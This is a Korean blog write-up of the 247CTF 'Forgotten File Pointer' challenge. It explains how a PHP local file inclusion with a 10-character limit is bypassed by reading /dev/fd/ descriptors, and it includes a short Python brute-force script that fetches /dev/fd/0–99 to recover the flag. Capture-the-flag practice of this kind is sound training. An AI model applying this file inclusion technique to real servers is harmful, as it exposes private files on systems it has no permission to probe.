워게임/247CTF

[247CTF] FORGOTTEN FILE POINTER - 웹해킹 / PHP / LFI

SecurityMan 2023. 10. 16. 11:00

 

247CTF 에서 제공하는

 

MODERATE 난이도의 WEB 문제

 

반응형

 

 

문제 페이지에 접속하면

 

이런 화면이 나온다.

 

PHP 코드가 보여지는데

 

내용을 보면 /tmp/flag.txt 파일에 플래그가 있다는것을 알 수 있다.

 

GET 메소드로 include 파라미터가 있어야하고,

 

include 인자의 길이가 10 이하여야 

 

include 함수로 서버 내부 파일을 읽어올 수 있는듯 하다.

 

10글자 길이제한이 없다면

 

단순히 URL 에 ?include=/tmp/flag.txt 를 추가하면 되겠지만

 

10글자 제한 때문에 안된다.

 

https://bugs.php.net/bug.php?id=53465 

 

PHP :: Bug #53465 :: Cannot open file descriptor streams

 

bugs.php.net

 

조금 찾아보니 이런 내용을 찾을 수 있었다.

 

PHP는 파일 디스크립터를 열 수 없는데

 

/dev/fd/ 나 /proc/self/fd/ 를 이용해

 

파일로 명령된 디스크립터의 내용을 읽을 수 있다는 것이다.

 

그럼 간단하게

 

파이썬을 이용해서 /dev/fd/1 부터 숫자를 1씩 늘려가면서

 

brute force 해보면 될 것이다.

 

import requests

base = 'https://<문제서버주소>/?include=/dev/fd/'

for i in range(100):
    url = base + str(i)
    r = requests.get(url)

    if '247' in r.text:
        print(r.text, i)

 

플래그 포맷이 247로 시작하기 때문에

 

해당 문자열이 보이면

 

출력하도록 코드를 작성했다.

 

 

코드를 실행하고 잠시 기다리면

 

플래그를 확인할 수 있다.

반응형